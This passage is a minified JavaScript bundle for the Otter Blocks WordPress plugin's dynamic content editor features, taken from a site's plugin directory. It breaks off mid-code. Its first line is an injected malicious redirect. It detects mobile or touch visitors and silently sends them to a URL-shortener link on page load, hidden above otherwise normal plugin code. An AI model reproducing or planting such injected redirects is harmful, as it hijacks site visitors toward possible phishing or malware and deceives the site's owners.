File: //home2/gazetufm/yac.al/alb/wp-content/plugins/otter-blocks/build/blocks/chunk-dynamic-content.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
"use strict";(self.webpackChunkotter_blocks=self.webpackChunkotter_blocks||[]).push([[946],{8457:function(e,t,o){o.r(t),o.d(t,{OtterDynamicContentFill:function(){return ee},OtterDynamicContentSlot:function(){return Z}});var l=o(6427),a=o(7181),s=o(7723),n=o(4715),i=o(876),r=o(9491),c=o(7143),d=o(8468),m=o(2619),u=o(6087),b=[{label:(0,s.__)("Post URL","otter-blocks"),value:"postURL"},{label:(0,s.__)("Site URL","otter-blocks"),value:"siteURL",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Featured Image URL","otter-blocks"),value:"featuredImageURL"},{label:(0,s.__)("Author URL","otter-blocks"),value:"authorURL"},{label:(0,s.__)("Author Website","otter-blocks"),value:"authorWebsite"},{label:(0,s.__)("Post Custom Field","otter-blocks"),value:"postMetaURL",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Advanced Custom Fields","otter-blocks"),value:"acfURL",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)}],p=o(1749),h=o(790),y=({activeAttributes:e,attributes:t,changeAttributes:o,isInline:a=!1,isLinkControl:n=!1,onChange:i,changeType:r,onRemove:c})=>{const y=(0,m.applyFilters)("otter.dynamicContent.link.hasSettingsPanel",[]),g=(0,m.applyFilters)("otter.dynamicContent.link.options",b);return(0,h.jsxs)(d.Fragment,{children:[(0,h.jsxs)(l.PanelBody,{children:[(0,h.jsx)("p",{children:(0,s.__)("Bind page elements with dynamic data from your website database.","otter-blocks")}),(0,h.jsx)(l.ExternalLink,{target:"_blank",rel:"noopener noreferrer",href:"https://docs.themeisle.com/article/1478-otter-blocks-documentation#dynamiclinks",children:(0,s.__)("Learn more about Dynamic Links","otter-blocks")}),(0,h.jsx)("br",{}),(0,h.jsx)("br",{}),(0,h.jsx)(l.BaseControl,{label:(0,s.__)("Data Type","otter-blocks"),id:"o-dynamic-select",children:(0,h.jsxs)("select",{value:t.type||"",onChange:e=>{window.oTrk?.add({feature:"dynamic",featureComponent:"link-option",featureValue:e.target.value}),r(e.target.value)},id:"o-dynamic-select",className:"components-select-control__input",children:[(0,h.jsx)("option",{value:"none",children:(0,s.__)("Select an option","otter-blocks")}),g.map((e=>(0,h.jsxs)("option",{value:e.value,disabled:e?.isDisabled,children:[e.label," ",e?.isDisabled&&(0,s.__)("(Pro)","otter-blocks")]},e.value)))]})}),!n&&(0,h.jsxs)(d.Fragment,{children:[(0,h.jsx)("br",{}),(0,h.jsx)(l.ToggleControl,{label:(0,s.__)("Open in a new tab","otter-blocks"),checked:"_blank"===t.target||!1,onChange:()=>o({target:"_blank"===t.target?void 0:"_blank"})})]}),!Boolean(window.themeisleGutenberg.hasPro)&&(0,h.jsx)(p.A,{notice:(0,h.jsx)(l.ExternalLink,{href:window.themeisleGutenberg.upgradeLink,children:(0,s.__)("Unlock more options with Otter Pro.","otter-blocks")}),variant:"upsell"}),(0,m.applyFilters)("otter.dynamicContent.link.notices","")]}),y.includes(t.type)&&(0,h.jsx)(l.PanelBody,{title:(0,s.__)("Settings","otter-blocks"),initialOpen:!1,children:(0,m.applyFilters)("otter.dynamicContent.link.controls","",t,o)}),(0,h.jsxs)(l.PanelBody,{children:[(0,h.jsxs)(l.ButtonGroup,{children:[(0,h.jsx)(l.Button,{isPrimary:!0,variant:"primary",disabled:(0,u.isEmpty)(t)||(0,u.isEqual)(t,e),onClick:i,children:(0,s.__)("Apply","otter-blocks")}),(a||n)&&(0,h.jsx)(l.Button,{isDestructive:!0,variant:"tertiary",onClick:c,children:(0,s.__)("Delete","otter-blocks")})]}),(0,h.jsxs)("div",{className:"o-fp-wrap",children:[(0,m.applyFilters)("otter.feedback","","dynamic-link"),(0,m.applyFilters)("otter.poweredBy","")]})]})]})},g=o(6942),k=o.n(g),_=({name:e,value:t,activeAttributes:o,contentRef:a,Fields:n,settings:r,onChange:m})=>{const{visiblePopover:u}=(0,c.useSelect)((e=>{const{getVisiblePopover:t}=e("themeisle-gutenberg/data");return{visiblePopover:t()}})),{setVisiblePopover:b}=(0,c.useDispatch)("themeisle-gutenberg/data"),[p,y]=(0,d.useState)({...o});(0,d.useEffect)((()=>{y({...o})}),[o]);const g=(0,i.useAnchorRef)({ref:a,value:t,settings:r}),_=Boolean(t?.formats.length)&&t?.start?t.formats[t.start]?.map((e=>e.type)):[],v=void 0!==_&&Boolean(_.length)&&_.includes("themeisle-blocks/dynamic-value")&&_.includes("themeisle-blocks/dynamic-link");return(0,h.jsxs)(l.Popover,{position:"bottom center right",placement:"bottom",noArrow:!1,anchor:g,anchorRef:g,focusOnMount:!1,className:k()("o-dynamic-popover",{hidden:v&&e!==u}),children:[(0,h.jsx)(n,{activeAttributes:o,attributes:p,changeAttributes:e=>{let t={...p};Object.keys(e).forEach((o=>{t[o]=e[o]})),t=Object.fromEntries(Object.entries(t).filter((([e,t])=>null!==t&&""!==t&&void 0!==t))),y({...t})},changeType:e=>{y({type:e})},isInline:!0,onChange:()=>{const o=Object.fromEntries(Object.entries(p).filter((([e,t])=>null!==t&&""!==t)));m((0,i.applyFormat)(t,{type:e,attributes:o}))},onRemove:()=>{const o=Object.fromEntries(Object.entries(p).filter((([e,t])=>null!==t&&""!==t)));m((0,i.toggleFormat)(t,{type:e,attributes:o}))}}),v&&(0,h.jsx)(l.Button,{onClick:()=>b("themeisle-blocks/dynamic-value"===e?"themeisle-blocks/dynamic-link":"themeisle-blocks/dynamic-value"),className:"o-dynamic-popover-toggle",children:"themeisle-blocks/dynamic-value"===e?(0,s.__)("Show Dynamic Link Settings","otter-blocks"):(0,s.__)("Show Dynamic Value Settings","otter-blocks")})]})},v=o(5317);const x="themeisle-blocks/dynamic-link",f={name:x,title:(0,s.__)("Dynamic link","otter-blocks"),tagName:"o-dynamic-link",className:null,attributes:{type:"data-type",context:"data-context",target:"data-target",metaKey:"data-meta-key"},edit:({isActive:e,value:t,onChange:o,activeAttributes:r,contentRef:m})=>{const{currentBlock:u,isQueryChild:b}=(0,c.useSelect)((e=>{const{getSelectedBlock:t,getBlockParentsByBlockName:o}=e("core/block-editor"),l=t();return{currentBlock:l,isQueryChild:0<o(l?.clientId,"core/query").length}}),[]),[p,g]=(0,d.useState)(!1),[k,v]=(0,d.useState)({});return j[u.name]?null:(0,h.jsxs)(d.Fragment,{children:[Boolean(window.themeisleGutenberg.hasModule.dynamicContent)&&(0,h.jsx)(n.BlockControls,{group:"other",children:(0,h.jsx)(l.ToolbarGroup,{children:(0,h.jsx)(l.DropdownMenu,{icon:"database",label:(0,s.__)("Dynamic Content","otter-blocks"),className:"o-dynamic-button",children:({onClose:e})=>(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(Z,{fillProps:{onClose:e}}),(0,h.jsx)(l.MenuItem,{icon:a.A,onClick:()=>{g(!0),e&&e()},className:"o-dynamic-button",children:(0,s.__)("Dynamic Link","otter-blocks")})]})})})}),p&&(0,h.jsx)(l.Modal,{title:(0,s.__)("Dynamic Link by Otter","otter-blocks"),overlayClassName:"o-dynamic-modal",onRequestClose:()=>g(!1),children:(0,h.jsx)(y,{activeAttributes:r,attributes:k,changeAttributes:e=>{let t={...k};Object.keys(e).forEach((o=>{t[o]=e[o]})),t=Object.fromEntries(Object.entries(t).filter((([e,t])=>null!==t&&""!==t&&void 0!==t))),v({...t})},changeType:e=>{v({type:e})},onChange:()=>{const e=Object.fromEntries(Object.entries(k).filter((([e,t])=>null!==t&&""!==t&&void 0!==t)));b&&(e.context="query"),o((0,i.toggleFormat)(t,{type:"themeisle-blocks/dynamic-link",attributes:e})),g(!1)}})}),e&&(0,h.jsx)(_,{name:x,value:t,activeAttributes:r,contentRef:m,Fields:y,settings:f,onChange:o})]})}};(0,i.registerFormatType)(x,f);const j={"core/button":{link:"url"},"themeisle-blocks/button":{link:"link"},"themeisle-blocks/font-awesome-icons":{link:"link"}},w=({props:e,children:t})=>{const o=((e,t)=>{const o=e[j[t].link]||"";return o.includes("#otterDynamicLink")?(0,v.Xl)(o):{}})(e.attributes,e.name),[i,r]=(0,d.useState)(!1),[m,u]=(0,d.useState)({...o}),b=(0,d.useRef)(null),{isQueryChild:p}=(0,c.useSelect)((t=>{const{getBlockParentsByBlockName:o}=t("core/block-editor");return{isQueryChild:0<o(e.clientId,"core/query").length}}),[]);return(0,h.jsxs)(d.Fragment,{children:[t,(0,h.jsx)(n.BlockControls,{group:"other",children:(0,h.jsx)(l.ToolbarGroup,{children:(0,h.jsx)(l.DropdownMenu,{icon:"database",label:(0,s.__)("Dynamic Content","otter-blocks"),className:"o-dynamic-button",ref:b,children:({onClose:e})=>(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(Z,{fillProps:{onClose:e}}),(0,h.jsx)(l.MenuItem,{icon:a.A,onClick:()=>{r(!0),e&&e()},className:"o-dynamic-button",children:(0,s.__)("Dynamic Link","otter-blocks")})]})})})}),i&&e.isSelected&&(0,h.jsx)(l.Popover,{position:"bottom right",anchorRef:b.current,className:"o-dynamic-popover",onClose:()=>r(!1),children:(0,h.jsx)(y,{activeAttributes:o,attributes:m,isLinkControl:!0,changeAttributes:e=>{let t={...m};Object.keys(e).forEach((o=>{t[o]=e[o]})),t=Object.fromEntries(Object.entries(t).filter((([e,t])=>null!==t&&""!==t&&void 0!==t))),u({...t})},changeType:e=>{u({type:e})},onChange:()=>{const t=Object.fromEntries(Object.entries(m).filter((([e,t])=>null!==t&&""!==t&&void 0!==t)));p&&(t.context="query"),e.setAttributes({[j[e.name].link]:`#otterDynamicLink?${(0,v.hT)(t)}`})},onRemove:()=>{u({}),e.setAttributes({[j[e.name].link]:void 0})}})})]})},C=(0,r.createHigherOrderComponent)((e=>t=>Object.keys(j).includes(t.name)?(0,h.jsx)(w,{props:t,children:(0,h.jsx)(e,{...t})}):(0,h.jsx)(e,{...t})),"withConditions");(0,m.addFilter)("editor.BlockEdit","otter-pro/autocompleters/dynamic-link",C);var P=o(4802),B=o.n(P),D={posts:{label:(0,s.__)("Posts","otter-blocks"),options:[{label:(0,s.__)("Post ID","otter-blocks"),value:"postID"},{label:(0,s.__)("Post Title","otter-blocks"),value:"postTitle"},{label:(0,s.__)("Post Content","otter-blocks"),value:"postContent"},{label:(0,s.__)("Post Excerpt","otter-blocks"),value:"postExcerpt"},{label:(0,s.__)("Post Date","otter-blocks"),value:"postDate",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Post Time","otter-blocks"),value:"postTime",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Post Terms","otter-blocks"),value:"postTerms",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Post Custom Field","otter-blocks"),value:"postMeta",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Advanced Custom Fields","otter-blocks"),value:"acf",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Post Type","otter-blocks"),value:"postType"},{label:(0,s.__)("Post Status","otter-blocks"),value:"postStatus"}]},site:{label:(0,s.__)("Site","otter-blocks"),options:[{label:(0,s.__)("Site Title","otter-blocks"),value:"siteTitle"},{label:(0,s.__)("Site Tagline","otter-blocks"),value:"siteTagline"}]},author:{label:(0,s.__)("Author","otter-blocks"),options:[{label:(0,s.__)("Author Name","otter-blocks"),value:"authorName"},{label:(0,s.__)("Author Description","otter-blocks"),value:"authorDescription"},{label:(0,s.__)("Author Meta","otter-blocks"),value:"authorMeta",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)}]},loggedInUser:{label:(0,s.__)("Logged-in User","otter-blocks"),options:[{label:(0,s.__)("Logged-in User Name","otter-blocks"),value:"loggedInUserName"},{label:(0,s.__)("Logged-in User Description","otter-blocks"),value:"loggedInUserDescription"},{label:(0,s.__)("Logged-in User Email","otter-blocks"),value:"loggedInUserEmail"},{label:(0,s.__)("Logged-in User Meta","otter-blocks"),value:"loggedInUserMeta",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)}]},misc:{label:(0,s.__)("Miscellaneous","otter-blocks"),options:[{label:(0,s.__)("Archive Title","otter-blocks"),value:"archiveTitle"},{label:(0,s.__)("Archive Description","otter-blocks"),value:"archiveDescription"},{label:(0,s.__)("Current Date","otter-blocks"),value:"date"},{label:(0,s.__)("Current Time","otter-blocks"),value:"time"},{label:(0,s.__)("URL Parameter","otter-blocks"),value:"queryString",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Country","otter-blocks"),value:"country",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)}]}};const F=[];Object.keys(D).forEach((e=>F.push(...D[e].options)));const A={name:"dynamic-value",triggerPrefix:"%%",options:F,className:"o-dynamic",getOptionKeywords({label:e,value:t}){return[e,...t.split(/\s+/)]},getOptionLabel:e=>(0,h.jsx)("span",{className:k()("o-dynamic-list-item",{"is-disabled":e.isDisabled}),children:e.label}),isOptionDisabled:e=>e.isDisabled,getOptionCompletion:({label:e,value:t})=>{const{getSelectedBlock:o,getBlockParentsByBlockName:l}=(0,c.select)("core/block-editor"),a=o();return 0<l(a?.clientId,"core/query").length?(0,h.jsx)("o-dynamic",{"data-type":t,"data-context":"query",children:e}):(0,h.jsx)("o-dynamic",{"data-type":t,children:e})}};Boolean(window.themeisleGutenberg.hasModule.dynamicContent)&&(0,m.addFilter)("editor.Autocomplete.completers","otter-pro/autocompleters/dynamic-value",(e=>[...e,A]));var S=o(8240),T=o(1455),O=o.n(T),E=o(6154),N=o.n(E);let I=["postExcerpt","date","time","archiveTitle"];const L={"F j, Y":N()().format("MMMM d, Y"),"Y-m-d":N()().format("Y-m-d"),"m/d/Y":N()().format("m/d/Y"),"d/m/Y":N()().format("d/m/Y")},G={"g:i a":N()().format("h:m a"),"g:i A":N()().format("h:m A"),"H:i":N()().format("HH:m")};var M=({activeAttributes:e,attributes:t,changeAttributes:o,isInline:a=!1,onChange:n,changeType:i,onRemove:r})=>{const[b,y]=(0,d.useState)(),[g,_]=(0,d.useState)(!1);(0,d.useEffect)((()=>{const e=(0,c.select)("core/editor")?.getCurrentPostId(),{type:o,taxonomy:l,termType:a}=t;t.type&&"none"!==t.type?(_(!0),O()({path:"otter/v1/dynamic/preview/?"+(0,v.hT)({context:e,type:o})}).then((e=>{y(e)})).catch((()=>{y(void 0)})).finally((()=>{_(!1)}))):y(void 0)}),[t.type]),I=(0,m.applyFilters)("otter.dynamicContent.text.hasSettingsPanel",I);const x=(0,m.applyFilters)("otter.dynamicContent.text.options",D);return(0,h.jsxs)(d.Fragment,{children:[(0,h.jsxs)(l.PanelBody,{children:[(0,h.jsx)("p",{children:
// translators: %% is not a placeholder, it is a shortcode used to access dynamic data.
// translators: %% is not a placeholder, it is a shortcode used to access dynamic data.
(0,s.__)("Bind page elements with dynamic data from your website database. You can use %% shortcodes to access dynamic data directly in the editor.","otter-blocks")}),(0,h.jsx)(l.ExternalLink,{target:"_blank",rel:"noopener noreferrer",href:"https://docs.themeisle.com/article/1478-otter-blocks-documentation#dynamicvalues",children:(0,s.__)("Learn more about Dynamic Values","otter-blocks")}),(0,h.jsx)("br",{}),(0,h.jsx)("br",{}),(0,h.jsxs)(l.BaseControl,{label:(0,s.__)("Data Type","otter-blocks"),id:"o-dynamic-select",children:[(0,h.jsxs)("select",{value:t.type||"",onChange:e=>i(e.target.value),id:"o-dynamic-select",className:"components-select-control__input",children:[(0,h.jsx)("option",{value:"none",children:(0,s.__)("Select an option","otter-blocks")}),Object.keys(x).map((e=>(0,h.jsx)("optgroup",{label:x[e].label,children:x[e].options.map((e=>(0,h.jsxs)("option",{value:e.value,disabled:e?.isDisabled,children:[e.label," ",e?.isDisabled&&(0,s.__)("(Pro)","otter-blocks")]},e.value)))},e)))]}),"postContent"===t.type&&(0,h.jsx)("p",{children:(0,s.__)("Post Content can cause an infinite loop when used inside Post Content itself.","otter-blocks")})]}),(void 0!==b||g)&&(0,h.jsxs)("div",{className:"o-dynamic-modal__preview",children:[(0,h.jsx)("div",{className:k()("o-dynamic-modal__preview__content",{"is-loading":g}),children:g?(0,h.jsx)(l.Spinner,{}):b||(0,s.__)("No preview available.","otter-blocks")}),(0,h.jsx)("div",{className:"o-dynamic-modal__preview__description",children:(0,s.__)("Dynamic Value preview","otter-blocks")})]}),!Boolean(window.themeisleGutenberg.hasPro)&&(0,h.jsx)(p.A,{notice:(0,h.jsx)(l.ExternalLink,{href:(0,v.lY)(window.themeisleGutenberg.upgradeLink,"dynamictext"),children:(0,s.__)("Unlock more options with Otter Pro.","otter-blocks")}),variant:"upsell"}),(0,m.applyFilters)("otter.dynamicContent.text.notices","")]}),I.includes(t.type)&&(0,h.jsxs)(l.PanelBody,{title:(0,s.__)("Settings","otter-blocks"),initialOpen:!1,children:["postExcerpt"===t.type&&(0,h.jsx)(l.TextControl,{label:(0,s.__)("Excerpt Length","otter-blocks"),type:"number",value:t.length||"",onChange:e=>o({length:e})}),["date"].includes(t.type)&&(0,h.jsxs)(d.Fragment,{children:[(0,h.jsx)(l.SelectControl,{label:(0,s.__)("Format","otter-blocks"),value:t.dateFormat||"default",options:[{label:(0,s.__)("Default","otter-blocks"),value:"default"},...Object.keys(L).map((e=>({label:L[e],value:e}))),{label:(0,s.__)("Custom","otter-blocks"),value:"custom"}],onChange:e=>o({dateFormat:e})}),"custom"===t.dateFormat&&(0,h.jsx)(l.TextControl,{label:(0,s.__)("Custom Format","otter-blocks"),help:(0,h.jsx)(l.ExternalLink,{target:"_blank",href:"https://wordpress.org/support/article/formatting-date-and-time/",children:(0,s.__)("Formatting Date and Time in WordPress","otter-blocks")}),type:"text",value:t.dateCustom||"",onChange:e=>o({dateCustom:e})})]}),["time"].includes(t.type)&&(0,h.jsxs)(d.Fragment,{children:[(0,h.jsx)(l.SelectControl,{label:(0,s.__)("Format","otter-blocks"),value:t.timeFormat||"default",options:[{label:(0,s.__)("Default","otter-blocks"),value:"default"},...Object.keys(G).map((e=>({label:G[e],value:e}))),{label:(0,s.__)("Custom","otter-blocks"),value:"custom"}],onChange:e=>o({timeFormat:e})}),"custom"===t.timeFormat&&(0,h.jsx)(l.TextControl,{label:(0,s.__)("Custom Format","otter-blocks"),help:(0,h.jsx)(l.ExternalLink,{target:"_blank",href:"https://wordpress.org/support/article/formatting-date-and-time/",children:(0,s.__)("Formatting Date and Time in WordPress","otter-blocks")}),type:"text",value:t.timeCustom||"",onChange:e=>o({timeCustom:e})})]}),"archiveTitle"===t.type&&(0,h.jsx)(l.ToggleControl,{label:(0,s.__)("Remove Title Prefix","otter-blocks"),help:(0,s.__)('Display only the term name, removing prefixes such as "Category:", "Tag:", or "Author:".',"otter-blocks"),checked:Boolean(t.hidePrefix)&&"false"!==t.hidePrefix,onChange:e=>o({hidePrefix:e?"1":void 0})}),(0,m.applyFilters)("otter.dynamicContent.text.controls","",t,o)]}),(0,h.jsxs)(l.PanelBody,{title:(0,s.__)("Advanced","otter-blocks"),initialOpen:!1,children:[(0,h.jsx)(l.TextControl,{label:(0,s.__)("Before","otter-blocks"),type:"text",value:t.before||"",onChange:e=>o({before:e})}),(0,h.jsx)(l.TextControl,{label:(0,s.__)("After","otter-blocks"),type:"text",value:t.after||"",onChange:e=>o({after:e})})]}),(0,h.jsxs)(l.PanelBody,{children:[(0,h.jsxs)(l.ButtonGroup,{children:[(0,h.jsx)(l.Button,{isPrimary:!0,variant:"primary",disabled:(0,u.isEmpty)(t)||(0,u.isEqual)(t,e),onClick:n,children:(0,s.__)("Apply","otter-blocks")}),a&&(0,h.jsx)(l.Button,{isDestructive:!0,variant:"tertiary",onClick:r,children:(0,s.__)("Delete","otter-blocks")})]}),(0,h.jsxs)("div",{className:"o-fp-wrap",children:[(0,m.applyFilters)("otter.feedback","","dynamic-value"),(0,m.applyFilters)("otter.poweredBy","")]})]})]})};const R="themeisle-blocks/dynamic-value",U={name:R,title:(0,s.__)("Dynamic Value","otter-blocks"),tagName:"o-dynamic",className:null,attributes:{type:"data-type",context:"data-context",before:"data-before",after:"data-after",length:"data-length",dateType:"data-date-type",dateFormat:"data-date-format",dateCustom:"data-date-custom",timeType:"data-time-type",timeFormat:"data-time-format",timeCustom:"data-time-custom",termType:"data-term-type",termSeparator:"data-term-separator",metaKey:"data-meta-key",parameter:"data-parameter",format:"data-format",taxonomy:"data-taxonomy",hidePrefix:"data-hide-prefix"},edit:({isActive:e,value:t,onChange:o,activeAttributes:a,contentRef:n})=>{const{isQueryChild:r}=(0,c.useSelect)((e=>{const{getSelectedBlock:t,getBlockParentsByBlockName:o}=e("core/block-editor"),l=t();return{isQueryChild:0<o(l?.clientId,"core/query").length}}),[]),[u,b]=(0,d.useState)(!1),[p,y]=(0,d.useState)({});return(0,h.jsxs)(d.Fragment,{children:[Boolean(window.themeisleGutenberg.hasModule.dynamicContent)&&(0,h.jsx)(ee,{children:({onClose:e})=>(0,h.jsx)(l.MenuItem,{icon:S.A,onClick:()=>{b(!0),e&&e()},className:"o-dynamic-button",children:(0,s.__)("Dynamic Value","otter-blocks")})}),u&&(0,h.jsx)(l.Modal,{title:(0,s.__)("Dynamic Value by Otter","otter-blocks"),overlayClassName:"o-dynamic-modal",onRequestClose:()=>b(!1),children:(0,h.jsx)(M,{activeAttributes:a,attributes:p,changeAttributes:e=>{let t={...p};Object.keys(e).forEach((o=>{t[o]=e[o]})),t=Object.fromEntries(Object.entries(t).filter((([e,t])=>null!==t&&""!==t&&void 0!==t))),y({...t})},changeType:e=>{y({type:e})},onChange:()=>{const e=[],l=Object.fromEntries(Object.entries(p).filter((([e,t])=>null!==t&&""!==t&&void 0!==t)));if(t.start===t.end){const o=(0,m.applyFilters)("otter.dynamicContent.text.options",D);Object.keys(o).forEach((t=>e.push(...o[t].options)));const a=e.find((e=>e.value===l.type)).label;t.text=t.text.substring(0,t.start)+a+t.text.substring(t.start),t.end=a.length+t.start,t.formats.splice(t.start,0,...new Array(a.length)),t.replacements.splice(t.start,0,...new Array(a.length))}r&&(l.context="query"),o((0,i.toggleFormat)(t,{type:"themeisle-blocks/dynamic-value",attributes:l})),b(!1)}})}),e&&(0,h.jsx)(_,{name:R,value:t,activeAttributes:a,contentRef:n,Fields:M,settings:U,onChange:o})]})}};(0,i.registerFormatType)(R,U);const q={},H=(e,t)=>{const o=document.createElement("div");o.innerHTML=t,t=o.textContent||o.innerText,Boolean(window.themeisleGutenberg.highlightDynamicText)||e.classList.add("hide-highlight"),e.innerHTML="<span>"+e.innerHTML+"</span>",e.dataset.preview=t},Y=(0,r.createHigherOrderComponent)((e=>t=>{if(!t.isSelected){const o=`block-${t.clientId}`,l=document.querySelectorAll(`#${o} o-dynamic`);return l?.length?(l.forEach((e=>{const t=(0,c.select)("core/editor").getCurrentPostId(),o=(0,u.pick)(Object.assign({context:t},e.dataset),["type","context","before","after","length","dateType","dateFormat","dateCustom","timeType","timeFormat","timeCustom","termType","termSeparator","metaKey","taxonomy","hidePrefix"]);if("postContent"===o.type)return;let l=(0,c.select)("themeisle-gutenberg/data").getDynamicData(o);if(void 0!==l)H(e,l);else{const t=B()(o);if(q[t])q[t].push(e);else{q[t]=[e];const a=setInterval((()=>{l=(0,c.select)("themeisle-gutenberg/data").getDynamicData(o),void 0!==l&&(clearInterval(a),q[t].forEach((e=>H(e,l))),delete q[t])}),5e3)}}})),(0,h.jsx)(e,{...t})):(0,h.jsx)(e,{...t})}return(0,h.jsx)(e,{...t})}),"withStickyExtension");Boolean(window.themeisleGutenberg.isBlockEditor)&&(0,c.select)("core/editor")&&(0,m.addFilter)("editor.BlockEdit","themeisle-gutenberg/dynamic-conditions/preview",Y);const V=[{type:"featuredImage",label:(0,s.__)("Featured Image","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/featured.svg"},{type:"author",label:(0,s.__)("Author Image","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/author.svg"},{type:"loggedInUser",label:(0,s.__)("User Image","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/user.svg"},{type:"logo",label:(0,s.__)("Website Logo","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/logo.svg"},{type:"postMeta",label:(0,s.__)("Post Meta","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/meta.svg",isPro:!0},{type:"product",label:(0,s.__)("Woo Product","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/woo.svg",isPro:!0},{type:"acf",label:(0,s.__)("ACF Image","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/acf.svg",isPro:!0}],Q=window.themeisleGutenberg.restRoot.includes("?rest_route=")?"/dynamic/&":"/dynamic/?",W=({uid:e,item:t,context:o,isSelected:l,onSelect:a})=>{const n=window.themeisleGutenberg.restRoot+Q+"type="+t.type+"&context="+o+"&uid="+e,i=void 0!==t?.isAvailable&&!t?.isAvailable;return(0,h.jsxs)("li",{tabIndex:"0",className:k()("o-media-item",{selected:l,"is-disabled":t?.isPro||i}),onClick:()=>i||t?.isPro?null:a(n,l),title:t.label,style:{backgroundImage:`url(' ${t.icon} ')`},children:[(0,h.jsx)("div",{className:"o-media-item-title",children:t.label}),t?.isPro&&(0,h.jsx)("span",{className:"o-media-item-label",children:(0,s.__)("Pro","otter-blocks")}),i&&(0,h.jsx)("span",{className:"o-media-item-label",children:(0,s.__)("Plugin not active","otter-blocks")}),l&&(0,h.jsxs)("button",{type:"button",className:"check",tabIndex:"-1",onClick:()=>{window.oTrk?.add({feature:"dynamic",featureComponent:"media-option",featureValue:t?.type}),a(n,!0)},children:[(0,h.jsx)("span",{className:"media-modal-icon"}),(0,h.jsx)("span",{className:"screen-reader-text",children:(0,s.__)("Deselect","otter-blocks")})]})]})},$=({contentTypes:e,attributes:t,changeAttributes:o})=>{const a=e.find((({type:e})=>e===t.type));return(0,h.jsxs)(d.Fragment,{children:[(0,h.jsx)("div",{className:"attachment-details",children:a&&(0,h.jsx)("h2",{children:a?.label})}),(0,m.applyFilters)("otter.dynamicContent.media.controls","",t,o),a&&(0,h.jsx)(l.TextControl,{label:(0,s.__)("Fallback Image","otter-blocks"),value:t.fallback||"",onChange:e=>o({fallback:e})}),!Boolean(window.themeisleGutenberg.hasPro)&&(0,h.jsxs)("div",{className:"o-media-pro-upsell",children:[(0,h.jsx)("img",{src:window.themeisleGutenberg.assetsPath+"/images/logo-alt.png"}),(0,h.jsx)("div",{className:"o-media-pro-upsell-title",children:(0,s.__)("Get more with Otter Pro","otter-blocks")}),(0,h.jsx)("div",{className:"o-media-pro-upsell-description",children:(0,s.__)("Unlock the full power of Dynamic images with Otter Pro","otter-blocks")}),(0,h.jsx)(l.Button,{isPrimary:!0,target:"_blank",href:(0,v.lY)(window.themeisleGutenberg.upgradeLink,"dynamicimage"),children:(0,s.__)("Get Pro Now","otter-blocks")})]})]})};var K=({state:e,onSelectImage:t})=>{const o=e.get("selection"),{getCurrentPostId:l,getSelectedBlock:a,isQueryChild:n}=(0,c.useSelect)((e=>{const t=e("core/editor")?e("core/editor").getCurrentPostId():0,{getSelectedBlock:o,getBlockParentsByBlockName:l}=e("core/block-editor"),a=o();return{getCurrentPostId:t||0,getSelectedBlock:a,isQueryChild:0<l(a?.clientId,"core/query").length}}),[]),[i,r]=(0,d.useState)([]),[u,b]=(0,d.useState)(o?._single?.attributes?.url),[p,y]=(0,d.useState)({}),[g,k]=(0,d.useState)(Math.floor(89999999*Math.random()+1e7));(0,d.useEffect)((()=>{const e=(0,m.applyFilters)("otter.dynamicContent.media.options",V);if(r(e),void 0===window?.otterCurrentMediaProps?.value||8!==String(window?.otterCurrentMediaProps?.value).length)return;const t=a.attributes;let o="";Object.keys(t).every((e=>"string"==typeof t[e]&&t[e]?.includes("otter/v1/dynamic")&&t[e]?.includes(window.otterCurrentMediaProps.value)?(o=t[e],!1):"object"!=typeof t[e]||!t[e]?.url?.includes("otter/v1/dynamic")||!t[e]?.url?.includes(window.otterCurrentMediaProps.value)||(o=t[e]?.url,!1)));const l=(0,v.Xl)(o||"");l.uid=g;const s=window.themeisleGutenberg.restRoot+Q+(0,v.hT)(l);_(s),window.otterCurrentMediaProps={}}),[]),(0,d.useEffect)((()=>{const e=(0,v.Xl)(u||"");y(e)}),[u]);const _=(e,o=!1)=>(b(!o&&e),t({id:g,url:e}));return(0,h.jsxs)(d.Fragment,{children:[(0,h.jsxs)("div",{className:"attachments-browser",children:[(0,h.jsx)("ul",{className:"o-media-list",children:i.map((e=>{return(0,h.jsx)(W,{uid:g,item:e,context:n?"query":l,isSelected:!!u&&u?.includes(`${t=u,t.includes("?rest_route=")?"/dynamic/&":"/dynamic/?"}type=${e.type}`),onSelect:_},e.type);var t}))}),(0,m.applyFilters)("otter.poweredBy","")]}),(0,h.jsxs)("div",{className:"media-sidebar",children:[(0,h.jsx)($,{contentTypes:i,attributes:p,changeAttributes:e=>{let o={...p};Object.keys(e).forEach((t=>{o[t]=e[t]})),o=Object.fromEntries(Object.entries(o).filter((([e,t])=>null!==t&&""!==t&&void 0!==t)));const l=window.themeisleGutenberg.restRoot+Q+(0,v.hT)(o);t({id:g,url:l}),y({...o})}}),(0,m.applyFilters)("otter.feedback","","dynamic-media",(0,s.__)("Help us improve Otter Blocks","otter-blocks"))]})]})};let X="",z=!1,J="";if(Boolean(window.themeisleGutenberg.hasModule.dynamicContent)){const e=e=>class extends 